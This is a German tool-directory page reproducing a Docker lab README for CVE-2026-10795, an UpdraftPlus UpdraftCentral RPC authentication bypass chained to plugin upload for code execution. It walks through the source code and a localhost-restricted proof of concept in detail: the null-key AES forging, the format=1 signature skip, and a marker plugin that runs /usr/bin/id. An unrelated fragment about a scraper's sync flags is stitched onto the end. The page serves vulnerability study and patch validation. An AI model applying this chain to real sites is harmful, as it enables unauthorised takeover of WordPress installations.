Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-10795-Lab — Docker-Labor, das CVE-2026-10795 reproduziert: Authentifizierungsumgehung in UpdraftPlus UpdraftCentral, verkettet mit Plugin-Installation für RCE. Enthält verwundbare/gepatchte Ziele, PoC-Exploit und Quellcode-Walkthrough. | Kitploit
Tools/GitHubGitHub/rootdirective-sec/cve-2026-10795-lab
Authentifizierung & AutorisierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & Bildung
GitHubrootdirective-sec/cve-2026-10795-lab

CVE-2026-10795-Lab

Docker-Labor, das CVE-2026-10795 reproduziert: Authentifizierungsumgehung in UpdraftPlus UpdraftCentral, verkettet mit Plugin-Installation für RCE. Enthält verwundbare/gepatchte Ziele, PoC-Exploit und Quellcode-Walkthrough.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
vor 2 MonatenNoch nicht geprüft

CVE Lab: CVE-2026-10795 - UpdraftPlus UpdraftCentral RPC Authentifizierungsumgehung verknüpft mit Plugin-Installation

Zusammenfassung

Dieses Repository enthält ein lokales Docker-Lab zur Reproduktion und Validierung von CVE-2026-10795, einer nicht authentifizierten Authentifizierungsumgehungsschwachstelle, die das UpdraftPlus WordPress-Plugin über seine UpdraftCentral-Fernkommunikationsschicht betrifft.

Das angreifbare Verhalten existiert im UpdraftCentral RPC-Nachrichtenverarbeitungsablauf. In anfälligen Versionen kann eine gefälschte format=1 RPC-Nachricht die Signaturprüfung umgehen, einen fehlgeschlagenen RSA-Entschlüsselungspfad auslösen und dennoch die symmetrische Entschlüsselung mit einem vorhersagbaren Null-Schlüssel-/Null-IV-Verhalten erreichen. Dies ermöglicht es, dass eine manipulierte verschlüsselte RPC-Nachricht als UpdraftCentral-Befehl akzeptiert und weitergeleitet wird.

Dieses Lab vergleicht zwei UpdraftPlus-Versionen:

DienstUpdraftPlus-VersionZweckURL
vuln1.26.4Angreifbares Vergleichszielhttp://127.0.0.1:8081
patched1.26.5Gepatchtes Vergleichszielhttp://127.0.0.1:8082

Die demonstrierte Kette ist:```text Unauthenticated attacker → forged UpdraftCentral RPC request → format=1 signature verification bypass → failed RSA decrypt not rejected in vulnerable version → predictable zero-key/zero-IV decrypt path → forged JSON RPC command accepted → privileged UpdraftCentral command dispatch → plugin.upload_plugin → install and activate marker plugin → hard-coded /usr/bin/id proof endpoint

root@kitploit:~
Die primäre Schwachstelle ist ein Authentifizierungs-Bypass. Die Laborumgebung zeigt, dass der Bypass zu einem RCE-ähnlichen Impact ausgenutzt werden kann, wenn ein privilegierter UpdraftCentral-Schlüsselstatus vorhanden ist, da UpdraftCentral legitime Plugin-Management-Befehle bereitstellt, die WordPress-Plugins installieren und aktivieren können.

Dies ist keine direkte Befehlsinjizierungsschwachstelle. Der Code-Ausführungsnachweis erfolgt durch Missbrauch der authentifizierten Plugin-Installationsfunktion nach Umgehung der RPC-Authentifizierungsgrenze.

Diese Laborumgebung ist ausschließlich für kontrollierte lokale Forschung, Quellcode-Verständnis und Demonstrationszwecke im Portfolio gedacht.

## Verifizierte Fakten

| Behauptung                                                                 | Nachweis                                                                                             | So überprüfen Sie es in diesem Labor                                          |
| -------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------- |
| UpdraftPlus 1.26.4 ist in diesem Labor verwundbar.                        | Der verwundbare Dienst akzeptiert eine gefälschte `format=1` RPC-Nachricht und führt `plugin.upload_plugin` aus. | Führen Sie `python3 poc/poc.py --url http://127.0.0.1:8081` aus.              |
| UpdraftPlus 1.26.5 blockiert die gefälschte Nachricht in diesem Labor.    | Der gepatchte Dienst gibt keinen RPC-Antworttext zurück und führt den gefälschten Befehl nicht aus.  | Führen Sie `python3 poc/poc.py --url http://127.0.0.1:8082` aus.              |
| Das Problem ist ein Authentifizierungs-Bypass in der UpdraftCentral-RPC-Ebene. | Eine gefälschte, nicht authentifizierte RPC-Anfrage kann in der verwundbaren Version die Befehlsverteilung erreichen. | Vergleichen Sie das `--ping`-Verhalten zwischen den Ports `8081` und `8082`.  |
| Das Labor installiert das Markierungs-Plugin nicht vor.                    | Die Einrichtung installiert nur WordPress, UpdraftPlus und einen lokalen UpdraftCentral-Schlüsselstatus. | Überprüfen Sie `/wp-json/cve-lab/v1/id` vor dem Ausführen des PoC.            |
| Der PoC installiert das Markierungs-Plugin durch eine gefälschte RPC.     | Der PoC sendet `plugin.upload_plugin` mit einem ZIP-Plugin-Payload im RPC-Datenfeld.                 | Führen Sie den PoC aus und fragen Sie dann `/wp-json/cve-lab/v1/id` ab.       |
| Das verwundbare Ziel erreicht einen RCE-ähnlichen Impact.                 | Das Markierungs-Plugin legt einen fest codierten Endpunkt frei, der die Ausgabe von `/usr/bin/id` zurückgibt. | Das verwundbare Ziel gibt `uid=33(www-data) gid=33(www-data)` zurück. |
| Das gepatchte Ziel installiert das Markierungs-Plugin nicht.              | Der Markierungs-Endpunkt gibt auf dem gepatchten Dienst `404 rest_no_route` zurück.                  | Führen Sie den PoC gegen `http://127.0.0.1:8082` aus.                         |
| Das Labor erfordert einen UpdraftCentral-Schlüsselstatus.                 | Die UpdraftCentral-Befehlsverteilung hängt von einem lokalen Schlüsseleintrag und zugehörigen Metadaten ab. | Überprüfen Sie `scripts/setup-wordpress.sh`.                                  |

## Annahmen und Unbekanntes

Dieses Labor legt absichtlich einen lokalen UpdraftCentral-Schlüsselstatus an, um einen Site-Zustand zu reproduzieren, in dem die Fernsteuerung konfiguriert wurde.

Der angelegte Schlüsselstatus ist eine Voraussetzung des Labors, nicht die Schwachstelle selbst. Er ermöglicht es dem Labor, den verwundbaren RPC-Parsing- und Entschlüsselungspfad konsistent zu durchlaufen.

Das Labor behauptet nicht, dass jede UpdraftPlus-Installation sofort ausnutzbar ist. Die demonstrierte Kette hängt vom Vorhandensein eines lokalen UpdraftCentral-Schlüsseleintrags ab, der mit einem privilegierten WordPress-Benutzer verknüpft ist.

Das Labor demonstriert einen kontrollierten RCE-ähnlichen Impact durch die Installation eines Markierungs-Plugins, das einen fest codierten `/usr/bin/id`-Nachweis-Endpunkt freigibt. Es stellt keine generische Web-Shell, keinen Parameter zur beliebigen Befehlsausführung, keinen Reverse-Shell, keinen Persistenzmechanismus, keinen Diebstahl von Anmeldeinformationen und keinen externen Callback bereit.

Der PoC ist auf lokale Ziele beschränkt und lehnt standardmäßig nicht-lokale Hostnamen ab.

## Zusammenfassung der Grundursache

Die Grundursache ist eine unsachgemäße Validierung von UpdraftCentral-RPC-Nachrichten in verwundbaren Versionen von UpdraftPlus.

Der verwundbare RPC-Fluss akzeptiert eine `format=1`-Nachricht. Der `format=1`-Pfad erfordert nicht dieselbe Signaturprüfung wie neuere Nachrichtenformate.

Das Problem auf hoher Ebene ist:```text
format=1 message
→ signature verification is bypassed
→ RSA decrypt of the symmetric key can fail
→ failed decrypt result is not rejected
→ false is passed into the symmetric cipher as a key
→ phpseclib normalizes this into a predictable null key path
→ attacker-controlled encrypted JSON can decrypt successfully
→ command is dispatched

Bei anfälligem Verhalten kann die RSA-Entschlüsselung Folgendes zurückgeben:```text false

root@kitploit:~
Statt dieses fehlgeschlagene Entschlüsselungsergebnis abzulehnen, setzt der anfällige Ablauf fort und übergibt den Wert an die symmetrische Entschlüsselungsschicht.

Das effektive anfällige Muster ist:```php
$sym_key = $rsa->decrypt($sym_key);
$rij->setKey($sym_key);
$decrypted = $rij->decrypt($ciphertext);

Das Problem ist, dass $sym_key nicht validiert wird, bevor es verwendet wird.

Wenn $sym_key false ist, folgt die Cipher-Einrichtung einem vorhersagbaren Null-Schlüssel/Null-IV-Verhalten. Dies macht es möglich, einen verschlüsselten RPC-Payload mit einem bekannten Null-Schlüssel und Null-IV zu erstellen.

Die gepatchte Version fügt eine Prüfung hinzu, bevor der symmetrische Schlüssel verwendet wird:```php if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) { return false; }

root@kitploit:~
Dies ändert die Vertrauensgrenze.

Vor dem Patch:```text
failed RSA decrypt result could still reach symmetric decrypt

Nach dem Patch:```text failed RSA decrypt result is rejected before command dispatch

root@kitploit:~
Dies ist der Grund, warum der anfällige Dienst die gefälschte RPC-Anweisung ausführt, während der gepatchte Dienst dies nicht tut.

## Warum eine Authentifizierungsumgehung zu Codeausführung führen kann

CVE-2026-10795 wird am besten als Authentifizierungsumgehung beschrieben, da der grundlegende Fehler in der RPC-Authentifizierungs- und Nachrichtenüberprüfungsschicht liegt.

Nachdem diese Authentifizierungsgrenze jedoch umgangen wurde, kann die vom Angreifer kontrollierte RPC-Nachricht privilegierte UpdraftCentral-Befehle erreichen.

Ein wichtiger Befehlspfad ist:```text
plugin.upload_plugin

Dieser Befehl ist Teil der Plugin-Verwaltungsfunktionalität von UpdraftCentral. Er akzeptiert ein Plugin-ZIP-Paket, schreibt es an einen temporären Speicherort, installiert das Plugin und aktiviert es bei Bedarf.

Die Auswirkungskette ist daher:```text Authentication bypass → forged privileged RPC command → plugin upload through legitimate UpdraftCentral functionality → plugin installation → plugin activation → WordPress plugin code execution

root@kitploit:~
Dies ist keine Befehlsinjektion.

Das Labor demonstriert die Codeausführung durch die Installation eines Marker-Plugins, das einen einzelnen Endpunkt bereitstellt:```text
/wp-json/cve-lab/v1/id

Das Marker-Plugin akzeptiert keinen Befehlsparameter. Es läuft nur:```text /usr/bin/id

root@kitploit:~
Dies hält den Beweis kontrolliert und vermeidet, dass das Labor in eine universelle Webshell verwandelt wird.

## Zusammenfassung des Quell-Patches

Das relevante Patch-Verhalten besteht darin, dass die gepatchte Version ungültige symmetrische Schlüssel ablehnt, bevor sie versucht, den RPC-Nachrichtenrumpf zu entschlüsseln.

Die wichtige Validierung ist:```php
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
    return false;
}

Dies verhindert das anfällige Fallback-Verhalten, bei dem ein fehlgeschlagenes RSA-Entschlüsselungsergebnis zu einem vorhersagbaren symmetrischen Schlüsselpfad werden kann. Das praktische Ergebnis ist:```text UpdraftPlus 1.26.4 → forged format=1 RPC message reaches command dispatch

UpdraftPlus 1.26.5 → failed symmetric key validation stops the forged message → command dispatch is not reached

root@kitploit:~
Das Labor validiert auch die Auswirkungen nachgelagerter Prozesse, indem es den tatsächlichen UpdraftCentral-Plugin-Upload-Befehlspfad angreift.

Das relevante Befehlsverhalten ist:```text
plugin.upload_plugin
→ base64 decode ZIP data
→ write temporary ZIP file
→ UpdraftCentral_Plugin_Upgrader->install()
→ activate_plugin()

Die gepatchte Version blockiert die gefälschte Nachricht, bevor dieser Befehlspfad erreicht wird.

Quellcode-Level-Durchlauf

Dieser Abschnitt erklärt den anfälligen Pfad auf Quellcode-Ebene und ordnet jeden PoC-Schritt dem entsprechenden Verhalten von UpdraftPlus/UpdraftCentral zu.

Das Labor basiert nicht auf einer gefälschten anfälligen Anwendungsroute. Das anfällige Verhalten wird über den echten UpdraftCentral RPC-Listener und den echten UpdraftCentral Plugin-Verwaltungs-Befehlspfad erreicht.

Die wichtigen Quellbereiche sind:```text vendor/team-updraft/common-libs/src/updraft-rpc/class-udrpc2.php central/bootstrap.php central/listener.php central/commands.php central/modules/plugin.php

root@kitploit:~
### Listener-Erstellung

Der anfällige RPC-Pfad beginnt, wenn WordPress eine POST-Anfrage empfängt, die Folgendes enthält:```text
udrpc_message
format
key_name

Die RPC-Bibliothek registriert einen Listener auf WordPress wp_loaded, wenn diese POST-Felder existieren.

Konzeptionell ist der Ablauf:```php if (!empty($_POST['udrpc_message']) && !empty($_POST['format'])) { add_action('wp_loaded', array($this, 'wp_loaded')); add_action('wp_loaded', array($this, 'wp_loaded_final'), 10000); }

root@kitploit:~
Dies bedeutet, dass der Angreifer keinen speziellen REST-Endpunkt oder eine Admin-URL kennen muss. Die gefälschte RPC-Anfrage wird als normale POST-Anfrage an das Stammverzeichnis der WordPress-Website gesendet. Der PoC sendet:```text
POST /
format=1
key_name=0.central.updraftplus.com
udrpc_message=<crafted encrypted message>

Die Anfrage erreicht denselben Listener-Pfad, der von der legitimen UpdraftCentral-Fernkommunikation verwendet wird.

Schlüsselnamen-Abgleich

UpdraftCentral speichert lokale Fernsteuerungsschlüssel in WordPress-Optionen. In diesem Laboratorium legt das Setup-Skript einen kontrollierten Schlüsselzustand sowohl für das verwundbare als auch für das gepatchte Ziel fest.

Der relevante Schlüsselname lautet:

`updraftcentral_remote_control_pass````text 0.central.updraftplus.com

root@kitploit:~
Dieses Format wird durch die UpdraftCentral-Schlüsselindikatorlogik erstellt:```php
private function indicator_name_from_index($index) {
    return $index.'.central.updraftplus.com';
}

Der Listener fährt nur fort, wenn das unverschlüsselte POST-Feld mit dem erwarteten Schlüsselindikator übereinstimmt:```php if (empty($_POST['key_name']) || $_POST['key_name'] != $this->key_name_indicator) { return; }

root@kitploit:~
Das PoC setzt daher:```python
KEY_NAME = "0.central.updraftplus.com"

Dies ist nicht die Schwachstelle. Es ist eine Laborvoraussetzung, die es dem Test ermöglicht, den anfälligen RPC-Parsing- und Entschlüsselungspfad auf reproduzierbare Weise zu durchlaufen.

Formatbehandlung und Signaturumgehung

UpdraftCentral unterstützt Nachrichtenformate. Die wichtige Unterscheidung ist:```text format=1 legacy path format=2 signed message path

root@kitploit:~
Im anfälligen Codepfad erfolgt die Signaturprüfung nur, wenn das Format größer oder gleich 2 ist:```php
if ($format >= 2) {
    if (empty($_POST['signature'])) {
        die;
    }

    if (!$this->key_remote) {
        die;
    }

    if (!$this->verify_signature($udrpc_message, $_POST['signature'], $this->key_remote)) {
        die;
    }
}

Weil das PoC verwendet:```text format=1

root@kitploit:~
Dieser Signaturprüfungsblock wird übersprungen.

Das ist die Grenze der Authentifizierungsumgehung.

Eine legitime `format=2`-Nachricht sollte eine gültige Signatur enthalten. Die gefälschte `format=1`-Nachricht benötigt keine, sodass die vom Angreifer kontrollierte Nachricht zum Entschlüsselungspfad gelangen kann.

### Gefährdeter Entschlüsselungsablauf

Nach Format- und Schlüsselnamenprüfungen entschlüsselt der Listener die übermittelte `udrpc_message`.

Der gefährdete Entschlüsselungsablauf in UpdraftPlus 1.26.4 ist effektiv:```php
$rsa->loadKey($this->key_local);

$sym_key = base64_decode($sym_key);
$sym_key = $rsa->decrypt($sym_key);

$rij->setKey($sym_key);

return $rij->decrypt($ciphertext);

Der Bug liegt zwischen diesen beiden Operationen:```php $sym_key = $rsa->decrypt($sym_key); $rij->setKey($sym_key);

root@kitploit:~
Wenn die RSA-Entschlüsselung fehlschlägt, kann `$rsa->decrypt()` Folgendes zurückgeben:```php
false

Die anfällige Version lehnt diesen Wert nicht ab, bevor sie ihn an Folgendes übergibt:```php $rij->setKey($sym_key);

root@kitploit:~
Die gepatchte Version behebt dies durch Hinzufügen einer Validierung:```php
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
    return false;
}

Dieser Schutz ist der sicherheitsrelevante Patch. Er verhindert, dass ein fehlgeschlagenes RSA-Entschlüsselungsergebnis an die symmetrische Chiffre-Einrichtung weitergegeben wird.

Warum false vorhersagbar wird

Das anfällige Verhalten ist gefährlich, weil setKey(false) in diesem phpseclib-Pfad nicht sicher fehlschlägt.

Der Chiffre-Code berechnet die Schlüssellänge aus dem bereitgestellten Schlüssel:```php $this->setKeyLength(strlen($key) << 3); $this->key = $key;

root@kitploit:~
Wenn `$key` `false` ist, verhält sich `strlen(false)` wie ein Fall mit einer Schlüssellänge von null. Die Rijndael-Schlüssellängenlogik rundet sehr kleine Schlüsselgrößen auf eine gültige Mindestschlüssellänge auf:```php
case $length <= 128:
    $this->key_length = 16;
    break;

Die Chiffre-Einrichtung füllt dann den Schlüssel und IV mit Nullbytes auf:```php $this->encryptIV = $this->decryptIV = str_pad(substr($this->iv, 0, $this->block_size), $this->block_size, "\0");

$this->key = str_pad(substr($this->key, 0, $this->key_length), $this->key_length, "\0");

root@kitploit:~
So kann der Angreifer das anfällige Entschlüsselungsverhalten wie folgt modellieren:```text
AES/Rijndael-CBC
key = 16 null bytes
iv  = 16 null bytes

Dies ist der Grund, warum der PoC einen JSON-RPC-Befehl lokal verschlüsseln und das anfällige Ziel erfolgreich entschlüsseln lassen kann.

Vom PoC verwendete Nachrichtenstruktur

Die anfällige Entschlüsselungsfunktion erwartet, dass die verschlüsselte Nachricht Folgendes enthält:```text 3 hex chars length of RSA-encrypted symmetric key, as base64 text N chars base64 RSA-encrypted symmetric key 16 hex chars length of ciphertext, as base64 text M chars base64 encrypted message body

root@kitploit:~
Das PoC baut diese Struktur manuell auf:```python
bad_sym_key_b64 = base64.b64encode(BAD_RSA_BLOCK).decode("ascii")
ciphertext_b64 = base64.b64encode(encrypted_inner_json).decode("ascii")

sym_key_len = f"{len(bad_sym_key_b64):03x}"
ciphertext_len = f"{len(ciphertext_b64):016x}"

udrpc_message = f"{sym_key_len}{bad_sym_key_b64}{ciphertext_len}{ciphertext_b64}"

Der RSA-Block ist absichtlich ungültig:```python BAD_RSA_BLOCK = b"CVE-2026-10795-LAB-BAD-RSA-BLOCK"

root@kitploit:~
Bei UpdraftPlus 1.26.4 führt der ungültige RSA-Block dazu, dass die RSA-Entschlüsselung fehlschlägt, aber der Fehler wird nicht zurückgewiesen.

Bei UpdraftPlus 1.26.5 wird das fehlgeschlagene Entschlüsselungsergebnis von der neuen Schutzfunktion zurückgewiesen und die gefälschte Nachricht erreicht die Befehlsverteilung nicht.

### Inner JSON RPC Message

Die verschlüsselte innere Nachricht ist ein normaler JSON-Befehl im UpdraftCentral-Stil.

Für die Ping-Validierung verwendet der PoC:```json
{
  "command": "ping",
  "time": 1710000000,
  "key_name": "0.central.updraftplus.com",
  "rand": 123456
}

Für den Standard-ID-Nachweis verwendet der PoC:```json { "command": "plugin.upload_plugin", "time": 1710000000, "key_name": "0.central.updraftplus.com", "rand": 123456, "data": { "filename": "cve-2026-10795-id-marker.zip", "data": "", "activate": true } }

root@kitploit:~
Der `key_name` erscheint sowohl außerhalb als auch innerhalb der verschlüsselten Nachricht. Der Listener überprüft, ob beide übereinstimmen:```php
if (empty($udrpc_message['key_name']) || $_POST['key_name'] != $udrpc_message['key_name']) {
    die;
}

That is why the PoC must include the same key name in both places.

JSON-Validierung vor dem Versand

Nach dem Entschlüsseln der Nachricht analysiert der Listener sie als JSON:```php $udrpc_message = json_decode($udrpc_message, true);

root@kitploit:~
Die Nachricht muss einen gültigen Befehl enthalten:```php
if (empty($udrpc_message) || !is_array($udrpc_message) || empty($udrpc_message['command']) || !is_string($udrpc_message['command'])) {
    die;
}

Es muss auch einen Zeitstempel enthalten:```php if (empty($udrpc_message['time'])) { die; }

root@kitploit:~
Der Zeitstempel muss sich innerhalb des zulässigen Wiederholungsfensters befinden:```php
$time_difference = absint($udrpc_message['time'] - time());

if ($time_difference > $this->maximum_replay_time_difference) {
    die;
}

Das PoC setzt daher das innere time-Feld auf die aktuelle Zeit.

Befehlsausführung

Nachdem die Nachricht entschlüsselt und validiert wurde, führt UpdraftCentral den Befehl aus.

Befehle verwenden ein Präfixformat:```text .

root@kitploit:~
Zum Beispiel:```text
plugin.upload_plugin

Dies wird:```text prefix = plugin method = upload_plugin

root@kitploit:~
Der Listener löst die Befehlsklasse aus dem Präfix auf und ruft dann die Methode dynamisch auf:```php
$msg = apply_filters(
    'updraftcentral_listener_udrpc_action',
    call_user_func(array($command_class, $command), $data, $extra_info),
    $command_class,
    $class_prefix,
    $command,
    $data,
    $extra_info
);

Für den PoC-Befehl:```text plugin.upload_plugin

root@kitploit:~
der Listener ruft auf:```php
UpdraftCentral_Plugin_Commands::upload_plugin($data)

Deshalb benötigt der PoC keine direkte Befehlsinjizierungssenke. Er erreicht einen legitimen privilegierten UpdraftCentral-Befehl, nachdem er die RPC-Authentifizierungsgrenze umgangen hat.

Benutzerkontext und Berechtigungsprüfungen

Der Listener kann den aktuellen WordPress-Benutzer aus den UpdraftCentral-Schlüsselmetadaten festlegen:```php if (!empty($extra_info['user_id'])) { wp_set_current_user($extra_info['user_id']); }

root@kitploit:~
In diesem Labor hat der initiale Schlüssel:```text
extra_info.user_id = 1

Das simuliert einen konfigurierten UpdraftCentral-Schlüssel, der mit dem während der WordPress-Einrichtung erstellten Administrator-Benutzer verknüpft ist.

Dies ist wichtig, weil der Plugin-Upload-Pfad die WordPress-Berechtigungen überprüft:```php if (!current_user_can('install_plugins') || !current_user_can('activate_plugins')) { $permission_error = true; }

root@kitploit:~
So allein der Bypass bringt den gefälschten Befehl in die RPC-Schicht. Die gesäten Schlüssel-Metadaten bestimmen, in welchem WordPress-Benutzerkontext der Befehl ausgeführt wird.

In diesem Labor läuft der Befehl im Admin-Kontext, da der Schlüssel mit der Benutzer-ID 1 verknüpft ist.

### Plugin Upload Sink

Die Befehlsmethode ist:```php
public function upload_plugin($params) {
    return $this->process_chunk_upload($params, 'plugin');
}

Der gemeinsame Upload-Handler erwartet Plugin-Upload-Daten:```text filename data activate

root@kitploit:~
Der PoC sendet:```python
{
    "filename": "cve-2026-10795-id-marker.zip",
    "data": base64.b64encode(zip_bytes).decode("ascii"),
    "activate": True,
}

Der Upload-Handler schreibt den ZIP-Inhalt in eine temporäre Datei:```php $result = file_put_contents( $upload_dir.'/'.$filename, base64_decode($params['data']), FILE_APPEND | LOCK_EX );

root@kitploit:~
Für einen non-chunked Upload erfolgt die Installation sofort:```php
$install_now = true;

Der Handler erstellt dann einen ZIP-Pfad:```php $zip_filepath = $upload_dir.'/'.$filename;

root@kitploit:~
und installiert es mit dem UpdraftCentral Plugin-Upgrader:```php
$upgrader = new UpdraftCentral_Plugin_Upgrader($skin);
$install_result = $upgrader->install($zip_filepath);

Wenn die Installation erfolgreich ist und activate wahr ist, aktiviert der Code das installierte Plugin:```php if ((bool) $params['activate'] && !$is_active) { $activate = activate_plugin($data['slug']); }

root@kitploit:~
Eine erfolgreiche Installationsantwort enthält:```php
return $this->_response(
    array(
        'installed' => true,
        'installed_data' => $data,
    )
);

Dies ist der grundlegende Grund auf Quellcode-Ebene, warum ein gefälschter RPC-Authentifizierungs-Bypass mit der Installation und Aktivierung von WordPress-Plugins verknüpft werden kann.

Marker-Plugin

Das Marker-Plugin wird vom PoC im Speicher erstellt. Es wird nicht vorab durch das Docker-Setup installiert.

Das generierte ZIP enthält:```text cve-2026-10795-id-marker/ └── cve-2026-10795-id-marker.php

root@kitploit:~
Das Marker-Plugin registriert eine REST-Route:```text
/wp-json/cve-lab/v1/id

Der Endpunkt gibt zurück:```text lab plugin proof uid gid user id_output

root@kitploit:~
Der einzige Befehl, der vom Marker-Plugin ausgeführt wird, ist fest codiert:```php
shell_exec('/usr/bin/id 2>&1');

Es gibt keinen benutzergesteuerten cmd-Parameter.

Dies ist beabsichtigt. Die Übung demonstriert die Plugin-Code-Ausführung, während eine generische Web-Shell vermieden wird.

Warum das gepatchte Ziel einen 404 zurückgibt

Der gepatchte Dienst empfängt dieselbe gefälschte Anfrage und hat denselben gesetzten Schlüsselzustand.

Der Unterschied ist der gepatchte Entschlüsselungsschutz:```php if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) { return false; }

root@kitploit:~
Weil der PoC absichtlich einen ungültigen RSA-Block bereitstellt, ist der entschlüsselte symmetrische Schlüssel ungültig.

In UpdraftPlus 1.26.5 stoppt die gefälschte Nachricht vor dem JSON-Parsing und vor der Befehlsverteilung.

Daher:```text
plugin.upload_plugin is never called
marker plugin is never installed
/wp-json/cve-lab/v1/id returns 404 rest_no_route

Dieses korrigierte Verhalten zeigt, dass das Laborergebnis vom anfälligen UpdraftPlus-RPC-Codepfad abhängt, nicht von der Docker-Umgebung.

PoC-zu-Quellcode-Zuordnung

Wie der PoC-Code der Schwachstelle zugeordnet wird

Der PoC beginnt mit der Ablehnung nicht-lokaler Ziele:```python allowed_hosts = {"127.0.0.1", "localhost", "::1"}

if host not in allowed_hosts: raise ValueError("Refusing non-local target")

root@kitploit:~
Dies hält das Skript auf das Docker-Lab beschränkt.

Der PoC erstellt die innere RPC-Nachricht:```python
inner = {
    "command": command,
    "time": int(time.time()),
    "key_name": KEY_NAME,
    "rand": random.randint(1, 2_147_483_647),
}

Wenn der Standard-ID-Nachweis verwendet wird, lautet der Befehl:```python command = "plugin.upload_plugin"

root@kitploit:~
und die Daten sind:```python
{
    "filename": "cve-2026-10795-id-marker.zip",
    "data": base64.b64encode(zip_bytes).decode("ascii"),
    "activate": True,
}

Der PoC verschlüsselt dann das innere JSON mit dem vorhersehbaren angreifbaren Chiffrierzustand:```python ZERO_KEY = b"\x00" * 16 ZERO_IV = b"\x00" * 16

cipher = AES.new(ZERO_KEY, AES.MODE_CBC, iv=ZERO_IV) ciphertext = cipher.encrypt(pad(plaintext, AES.block_size))

root@kitploit:~
Dies entspricht der verwundbaren Konsequenz, wenn `false` in die symmetrische Chiffre-Einrichtung übergeben wird.

Der PoC verwendet absichtlich einen schlechten RSA-Block:```python
BAD_RSA_BLOCK = b"CVE-2026-10795-LAB-BAD-RSA-BLOCK"

Das resultierende udrpc_message wird im gleichen längenpräfixierten Format erstellt, das die RPC decrypt function erwartet:```python sym_key_len = f"{len(bad_sym_key_b64):03x}" ciphertext_len = f"{len(ciphertext_b64):016x}"

return f"{sym_key_len}{bad_sym_key_b64}{ciphertext_len}{ciphertext_b64}"

root@kitploit:~
Schließlich sendet der PoC die gefälschte RPC-Anfrage:```python
fields = {
    "format": "1",
    "key_name": KEY_NAME,
    "udrpc_message": build_udrpc_message(command, data),
}

requests.post(target, data=fields, timeout=timeout)

Auf dem anfälligen Ziel enthält die Serverantwort einen gültigen JSON-Antwortkörper im RPC-Stil. Der PoC behandelt dies als:```text RPC DISPATCHED

root@kitploit:~
Nach dem Dispatch überprüft der PoC die Auswirkung, indem er den Marker-Endpunkt anfordert:```text
GET /wp-json/cve-lab/v1/id

Wenn das Marker-Plugin installiert und aktiviert wurde, gibt der Endpunkt Folgendes zurück:```text uid=33(www-data) gid=33(www-data) groups=33(www-data)

root@kitploit:~
Diese Ausgabe beweist, dass die gefälschte, nicht authentifizierte RPC-Nachricht einen privilegierten Plugin-Installationspfad erreicht und vom Angreifer bereitgestellten Plugin-Code im lokalen Labor aktiviert hat.

## Was das Labor beweist

Dieses Labor beweist die folgende technische Kette:```text
1. UpdraftPlus 1.26.4 accepts a forged format=1 UpdraftCentral RPC message.
2. The forged message does not need a valid signature.
3. A failed RSA decrypt result is not rejected before symmetric decrypt.
4. The symmetric decrypt path becomes predictable enough to craft a valid JSON command.
5. The JSON command reaches UpdraftCentral command dispatch.
6. The dispatched command can call plugin.upload_plugin.
7. plugin.upload_plugin can install and activate a ZIP plugin.
8. Activated plugin code runs in the web server context.
9. UpdraftPlus 1.26.5 blocks the same forged message before dispatch.

Das Labor beweist nicht, dass jede Installation ohne Voraussetzungen ausnutzbar ist.

Die erforderliche Voraussetzung für diese Demonstration ist:```text an existing UpdraftCentral local key state associated with a privileged WordPress user

root@kitploit:~
Das Docker-Setup erstellt diese Voraussetzung in beiden Zielen, sodass der Unterschied zwischen verwundbarem und gepatchtem Verhalten fair getestet werden kann.

## Laborarchitektur

Das Labor betreibt zwei isolierte WordPress-Installationen über Docker Compose.```text
.
├── docker-compose.yml
├── scripts/
│   └── setup-wordpress.sh
├── vuln/
│   └── Dockerfile
├── patched/
│   └── Dockerfile
├── poc/
│   └── poc.py
├── requirements.txt
├── README.md
└── .gitignore

Die beiden WordPress-Dienste verwenden separate Datenbanken und separate UpdraftPlus-Versionen:

Standardmäßig exponierte Dienste:```text Vulnerable target: http://127.0.0.1:8081 Patched target: http://127.0.0.1:8082

root@kitploit:~
Der Einrichtungsprozess setzt denselben UpdraftCentral-Schlüsselstatus in beide Dienste ein:```text
key_name: 0.central.updraftplus.com
extra_info.user_id: 1

This gives both targets the same prerequisite state. The difference in behavior comes from the vulnerable versus patched UpdraftPlus code, not from different lab setup.

Anforderungen

  • Docker Desktop oder Docker Engine
  • Docker Compose v2
  • Python 3
  • Unterstützung für Python virtual environments
  • Internetzugang während des Docker-Image-Builds
  • In requirements.txt aufgeführte Python-Pakete

Python-Abhängigkeiten:```text requests urllib3<2 pycryptodome

root@kitploit:~
Die Einschränkung `urllib3<2` vermeidet LibreSSL-bezogene Warnungen bei einigen macOS Python-Builds.

## Schnellstart

Starten Sie von einem sauberen Lab-Zustand:```bash
docker compose down -v --remove-orphans
docker compose up -d --build

Setup-Protokolle anzeigen:```bash docker compose logs -f vuln_setup patched_setup

root@kitploit:~
Erwartete Setup-Indikatoren:```text
Seeded UpdraftCentral key: 0.central.updraftplus.com
Plugin updraftplus details:
Status: Active
Version: 1.26.4
Setup complete for CVE-2026-10795 vuln

scouter:sync=off and mode=run

Wenn dieses Befehlszeilen-Flag angegeben wird, führt das Tool einige Aufgaben aus, bevor es mit dem Scraping des Ziels beginnt; wir nennen dies Konfigurationssynchronisierung.

Die Flags --sync-off und --mode werden zu sync=off und mode=run kombiniert.

Der Befehl mode bietet 2 Ausführungsmodi:

  • run: ist der Standardmodus, der die Konfigurationssynchronisierung ausführt
